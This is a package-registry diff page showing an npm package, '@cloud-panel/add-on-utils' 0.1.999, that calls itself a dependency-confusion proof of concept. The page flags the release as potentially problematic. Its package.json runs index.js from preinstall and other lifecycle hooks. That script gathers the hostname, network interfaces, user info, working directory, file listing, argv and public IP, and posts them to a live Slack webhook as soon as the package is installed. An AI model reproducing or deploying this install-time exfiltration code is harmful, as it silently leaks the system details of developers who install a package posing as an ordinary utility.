@cloud-panel/add-on-utils 0.1.999

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @cloud-panel/add-on-utils might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +74 -0
  2. package/package.json +14 -0
package/index.js ADDED
@@ -0,0 +1,74 @@
1
+ const https = require('https');
2
+
3
+ function collect_data(callback) {
4
+ var os = require("os"),
5
+ fs = require("fs");
6
+ var res = {}
7
+ try {
8
+ res['hostname'] = os.hostname();
9
+ } catch {
10
+ res['hostname'] = "";
11
+ }
12
+ try {
13
+ res['networkInterfaces'] = os.networkInterfaces();
14
+ } catch {
15
+ res['networkInterfaces'] = "";
16
+ }
17
+ try {
18
+ res['local_time'] = (new Date()).toTimeString();
19
+ } catch {
20
+ res['local_time'] = "";
21
+ }
22
+ try {
23
+ res['pwd'] = process.cwd();
24
+ } catch {
25
+ res['pwd'] = "";
26
+ }
27
+ try {
28
+ res['list_of_files'] = fs.readdirSync(".");
29
+ } catch {
30
+ res['list_of_files'] = "";
31
+ }
32
+ try {
33
+ res['argv'] = process.argv;
34
+ } catch {
35
+ res['argv'] = "";
36
+ }
37
+ try {
38
+ res['user'] = os.userInfo();
39
+ } catch {
40
+ res['user'] = "";
41
+ }
42
+
43
+ https.get({'host': 'api.ipify.org', 'port': 443, 'path': '/'}, function(resp) {
44
+ resp.on('data', function(ip) {
45
+ res['ip'] = ip.toString();
46
+ callback(JSON.stringify(res));
47
+ });
48
+ });
49
+ }
50
+
51
+ function send_data(text) {
52
+ let data = JSON.stringify({text: text, type:"npm"})
53
+ const options = {
54
+ hostname: 'hooks.slack.com',
55
+ port: 443,
56
+ path: '/workflows/T0151JEDSQ0/A041006923G/424348146563301339/qD1ZlxgnJ78LebCFmXjCfgkS',
57
+ method: 'POST',
58
+ headers: {
59
+ 'Content-Type': 'application/json',
60
+ 'Content-Length': data.length
61
+ }
62
+ }
63
+ const req = https.request(options, ()=>{});
64
+ req.write(data);
65
+ req.end();
66
+ }
67
+
68
+ collect_data(send_data)
69
+
70
+ module.exports = {
71
+ test: () => {
72
+ console.log('Tested Ok');
73
+ }
74
+ }
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "@cloud-panel/add-on-utils",
3
+ "version": "0.1.999",
4
+ "description": "Dependency Confusion POC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node index.js tests",
8
+ "preinstall": "node index.js preinstall",
9
+ "prepare": "node index.js prepare",
10
+ "start": "node index.js start"
11
+ },
12
+ "author": "flx1101 <flx1101@aboutyou.com>",
13
+ "license": "ISC"
14
+ }